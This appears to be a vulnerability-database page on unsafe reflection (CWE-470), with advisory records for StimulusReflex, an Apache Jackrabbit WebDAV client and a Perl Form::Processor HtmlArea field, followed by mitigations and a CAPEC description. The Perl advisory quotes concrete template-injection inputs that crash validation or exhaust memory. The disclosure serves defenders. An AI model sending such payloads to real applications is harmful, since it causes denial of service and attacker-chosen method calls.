      "url": "https://github.com/stimulusreflex/stimulus_reflex/commit/d823d7348f9ca42eb6df25574f11974e4f5bc88c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/stimulus_reflex/CVE-2024-28121.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stimulusreflex/stimulus_reflex"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StimulusReflex arbitrary method call"
}

GHSA-F7M4-MW9M-XWG5

Vulnerability from github – Published: 2026-10-07 18:32 – Updated: 2026-10-07 18:32
VLAI
Details

— Use of Externally-Controlled Input to Select Classes or Code vulnerability in Apache Jackrabbit's WebDAV/Davex client.

A malicious WebDAV/DavEx server, or an attacker able to intercept the connection, can cause the client to instantiate arbitrary classes from its classpath, which can lead to arbitrary file creation or truncation.

Only applications that use jackrabbit-spi2dav (directly or through jackrabbit-jcr2dav) to connect to a remote repository are affected. Jackrabbit servers are not affected.

Category: unsafe reflection on wire data (HIGH).

This issue affects Apache Jackrabbit: from 2.23.0 through 2.23.5, from 2.22.0 through 2.22.4, from 2.20.0 through 2.20.17.

Users are recommended to upgrade to versions 2.23.6, 2.22.5, or 2.20.18 which fix the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-07T16:19:13Z",
    "severity": "MODERATE"
  },
  "details": "\u2014 Use of Externally-Controlled Input to Select Classes or Code vulnerability in Apache Jackrabbit\u0027s WebDAV/Davex client.\n\nA malicious WebDAV/DavEx server, or an attacker able to intercept the connection, can cause the client to instantiate arbitrary classes from its classpath, which can lead to arbitrary file creation or truncation.\n\nOnly applications that use jackrabbit-spi2dav (directly or through jackrabbit-jcr2dav) to connect to a remote repository are affected. Jackrabbit servers are not affected.\n\nCategory: unsafe reflection on wire data (HIGH).\n\n\n\nThis issue affects Apache Jackrabbit: from 2.23.0 through 2.23.5, from 2.22.0 through 2.22.4, from 2.20.0 through 2.20.17.\n\n\n\nUsers are recommended to upgrade to versions 2.23.6, 2.22.5, or 2.20.18 which fix the issue.",
  "id": "GHSA-f7m4-mw9m-xwg5",
  "modified": "2026-10-07T18:32:09Z",
  "published": "2026-10-07T18:32:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92415"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/hcrxm4jp1mtk56xb8p1dtryz7hl08kmr"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/10/07/28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FHX5-GRQF-HX29

Vulnerability from github – Published: 2026-08-13 18:31 – Updated: 2026-08-14 18:31
VLAI
Details

Form::Processor::Field::HtmlArea versions from 0.06 through 1.162360 for Perl allow attacker selected method dispatch and resource exhaustion via an HTML::Tidy diagnostic that validate passes to add_error as a Locale::Maketext template.

validate runs HTML::Tidy over the submitted markup and passes each resulting message to add_error as its first argument, which add_error hands to the language handle as the Locale::Maketext message key. The default handle's lexicon sets _AUTO, so a message that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. Tidy diagnostics quote the offending attribute name or value, so a bracket group in the submitted markup reaches the template position, where the first token of the group names a method called on the language handle and the remaining tokens are its arguments. A group such as [0] makes the compile croak, and neither the field nor the handle catches it, so the exception leaves validate. [sprintf,%2000000000d,7] reaches CORE::sprintf with an attacker chosen field width.

One submission of crafted markup to an HtmlArea field throws an unhandled exception out of form validation or allocates an arbitrary amount of memory, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The other field types pass fixed templates with the submitted value in an argument slot, where it stays inert, and are unaffected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-13051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T17:17:19Z",
    "severity": "CRITICAL"
  },
  "details": "Form::Processor::Field::HtmlArea versions from 0.06 through 1.162360 for Perl allow attacker selected method dispatch and resource exhaustion via an HTML::Tidy diagnostic that validate passes to add_error as a Locale::Maketext template.\n\nvalidate runs HTML::Tidy over the submitted markup and passes each resulting message to add_error as its first argument, which add_error hands to the language handle as the Locale::Maketext message key. The default handle\u0027s lexicon sets `_AUTO`, so a message that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. Tidy diagnostics quote the offending attribute name or value, so a bracket group in the submitted markup reaches the template position, where the first token of the group names a method called on the language handle and the remaining tokens are its arguments. A group such as `[0]` makes the compile croak, and neither the field nor the handle catches it, so the exception leaves validate. `[sprintf,%2000000000d,7]` reaches CORE::sprintf with an attacker chosen field width.\n\nOne submission of crafted markup to an HtmlArea field throws an unhandled exception out of form validation or allocates an arbitrary amount of memory, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The other field types pass fixed templates with the submitted value in an argument slot, where it stays inert, and are unaffected.",
  "id": "GHSA-fhx5-grqf-hx29",
  "modified": "2026-08-14T18:31:29Z",
  "published": "2026-08-13T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13051"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/HANK/Form-Processor-1.162360/source/lib/Form/Processor/Field.pm#L163"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/HANK/Form-Processor-1.162360/source/lib/Form/Processor/Field/HtmlArea.pm#L28-31"
    },
    {
      "type": "WEB",
      "url": "https://security.metacpan.org/patches/F/Form-Processor/1.162360/CVE-2026-13051-r1.patch"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2012-6329"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Refactor your code to avoid using reflection.

Mitigation
Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Mitigation
Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

CAPEC-138: Reflection Injection

An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.